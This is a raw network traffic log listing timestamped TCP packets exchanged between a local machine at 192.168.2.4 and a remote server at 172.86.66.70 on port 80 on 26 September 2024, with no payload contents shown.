Sep 26, 2024 12:11:58.110212088 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110224962 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110238075 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110265017 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110270977 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110282898 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110300064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110311031 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110349894 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110392094 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110414028 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110429049 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110441923 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110455990 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110460997 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110474110 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110498905 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110513926 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110517979 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110593081 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110609055 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110622883 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110639095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110645056 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110654116 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110668898 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110701084 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110827923 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110888958 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110904932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110938072 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.110944986 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110960960 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.110996008 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111046076 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111053944 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111099958 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111135006 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111148119 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111166954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111170053 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111197948 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111229897 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111246109 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111262083 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111277103 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111325026 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111325026 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111339092 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111413956 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111462116 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111469030 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111485004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111500025 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111535072 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111572981 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111588001 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111613989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111624002 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111632109 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111666918 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111814022 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111871004 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111871958 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111896038 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111912966 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111928940 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.111946106 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.111970901 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112032890 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112050056 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112066984 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112082005 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112097979 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112098932 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112153053 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112163067 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112181902 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112212896 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112287045 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112303019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112318039 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112334013 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112349033 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112350941 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112358093 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112375975 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112416983 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112437010 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112453938 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112471104 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112483978 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112514019 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112544060 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112560034 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112575054 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112605095 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112669945 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112684965 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112699032 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112723112 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112724066 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112751007 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112802982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112818003 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112840891 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112854958 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112855911 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112871885 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112886906 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.112890005 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112925053 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.112961054 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113007069 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113029957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113045931 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113065004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113094091 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113183022 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113198042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113213062 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113229990 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113239050 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113272905 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113322020 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113338947 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113354921 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113372087 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113404989 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113439083 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113451958 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113466978 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113482952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113498926 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113513947 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113542080 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113542080 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113569021 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113571882 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113590002 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.113607883 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113641977 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.113950968 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114005089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114020109 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114052057 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.114109993 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114125967 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114140034 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114155054 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114168882 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114195108 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.114196062 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.114229918 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.114236116 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114253044 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114268064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114284039 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114300966 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.114351034 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.114388943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114403963 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114418030 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114430904 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114447117 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114459991 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.114490032 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.114535093 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114548922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114563942 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114581108 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114587069 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.114607096 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.114665031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114681005 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.114731073 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.160629988 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.198965073 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.198992014 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199008942 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199022055 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199038029 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199053049 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199068069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199073076 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199110031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199124098 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199126005 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199143887 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199166059 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199193001 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199258089 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199273109 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199302912 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199325085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199336052 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199342012 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199358940 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199364901 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199374914 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199400902 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199417114 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199425936 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199433088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199445963 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199492931 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199588060 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199652910 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199668884 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199697971 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199817896 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199839115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199853897 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199867010 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199867964 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199884892 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199907064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199908018 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199927092 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199929953 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.199943066 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199959040 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.199975014 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200015068 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200027943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200042963 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200063944 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200072050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200089931 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200124025 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200225115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200237989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200252056 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200273037 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200283051 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200289011 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200305939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200320959 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200324059 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200339079 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200355053 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200356007 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200382948 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200412035 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200424910 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200439930 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200464010 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200493097 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200516939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200532913 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200562954 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200576067 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200577974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200624943 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200754881 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200768948 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200783968 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200798988 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200817108 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200819016 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200833082 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200839043 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200850964 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200865030 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200880051 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200911045 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200912952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200927019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200968981 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.200972080 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.200988054 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201031923 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201065063 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201081038 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201097012 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201127052 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201221943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201237917 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201253891 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201270103 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201271057 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201286077 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201302052 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201307058 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201339960 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201342106 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201389074 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201432943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201448917 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201462984 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201497078 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201592922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201607943 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201622963 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201637983 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201639891 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201653957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201669931 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201670885 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201697111 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201731920 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201745987 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201761961 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201776981 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201781988 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201792955 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201806068 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201848984 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201893091 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201908112 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201946020 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.201992989 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.201999903 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202006102 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202049017 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.202109098 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202124119 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202138901 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202155113 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202157021 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.202172041 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202193975 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.202224016 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.202454090 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202477932 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202491999 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202528000 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.202570915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202586889 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202601910 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202621937 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.202631950 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.202647924 CEST	49732	80	192.168.2.4	172.86.66.70
